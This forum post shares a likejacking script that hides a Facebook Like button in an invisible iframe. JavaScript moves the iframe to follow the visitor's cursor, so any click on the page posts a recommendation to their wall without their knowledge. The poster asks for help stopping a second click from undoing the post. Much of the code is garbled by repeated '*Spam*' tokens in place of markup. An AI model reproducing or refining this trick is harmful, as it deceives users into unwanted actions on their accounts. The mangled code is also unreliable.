This is pretty awesome...for anyone who doesn't know what Facebook Like is (it's brand new) it's a button that can instantly put your site as a recommendation on someone's wall. You can use the code above originally intended for Youtube in combination with the Facebook Like button code to make an instant facebook wall posting about anything. There's only one problem - maybe someone can help solve it.
The problem is that one click will put you on their wall, and another will remove it. Unfortunately the javascript below can't seem to detect that a click has been made and disable clicking on the invisible iframe (the div onclick code doesn't work). I've experimented and can't get anything to disable clicking to the invisible button after the first click. So if the user clicks twice (or an even number of times) on your page it will not show up on their wall - it will be posted and then removed.
Any ideas?
*Note - You must fill in your site link where it says to in the code below or it won't work. If you click once on this page (or an odd number of times) it will actually instantly post to your wall!*
Code:
*Spam**Spam* *Spam*
*Spam**Spam* *Spam* *Spam* *Spam*Auto Facebook Like
*Spam**Spam* *Spam*
*Spam**Spam* *Spam*
*Spam**Spam* *Spam* *Spam* *Spam*Hello !!! Welcome to my site!
*Spam**Spam* *Spam*
*Spam**Spam*
*Spam*
*Spam**Spam* *Spam* *Spam* *Spam*
*Spam**Spam* *Spam*
*Spam**Spam* *Spam*
*Spam**Spam* *Spam*
*Spam**Spam* *Spam* *Spam* *Spam*var iflag = 0;
*Spam**Spam* *Spam*function mouseFollower(e){
*Spam**Spam* *Spam* *Spam* *Spam*/* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam*DO NOT EDIT THIS *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* *Spam* */
*Spam**Spam* *Spam* *Spam* *Spam*x = (!document.all)? e.pageX : event.x+document.body.scrollLeft;
*Spam**Spam* *Spam* *Spam* *Spam*y = (!document.all)? e.pageY : event.y+document.body.scrollTop;
*Spam**Spam* *Spam* *Spam* *Spam*/* ------------------------------------------------------------*/
*Spam**Spam* *Spam* *Spam* *Spam*/* places the iframe at the tip of the cursor, to make it clickable */
*Spam**Spam* *Spam* *Spam* *Spam*icontainer.style.left = (x - 13) + 'px';
*Spam**Spam* *Spam* *Spam* *Spam*icontainer.style.top = (y - 35) + 'px';
*Spam**Spam* *Spam*}
*Spam**Spam* *Spam*document.onmousemove = function(e) {
*Spam**Spam* *Spam* *Spam* *Spam*if (iflag == 0) {
*Spam**Spam* *Spam* *Spam* *Spam* *Spam* *Spam*mouseFollower(e);
*Spam**Spam* *Spam* *Spam* *Spam*}
*Spam**Spam* *Spam*}
*Spam**Spam* *Spam*
*Spam**Spam* *Spam*
*Spam**Spam* *Spam*
So first fill in your URL where it says to above. On your target page, put the following code in between your tags to control the content of the wall posting of the user:
This would generate the following wall posting:
John recommends Desired Page Title on Site Name.
To learn more about the facebook like button see:
Code:
http://developers.facebook.com/docs/reference/plugins/like
Bookmarks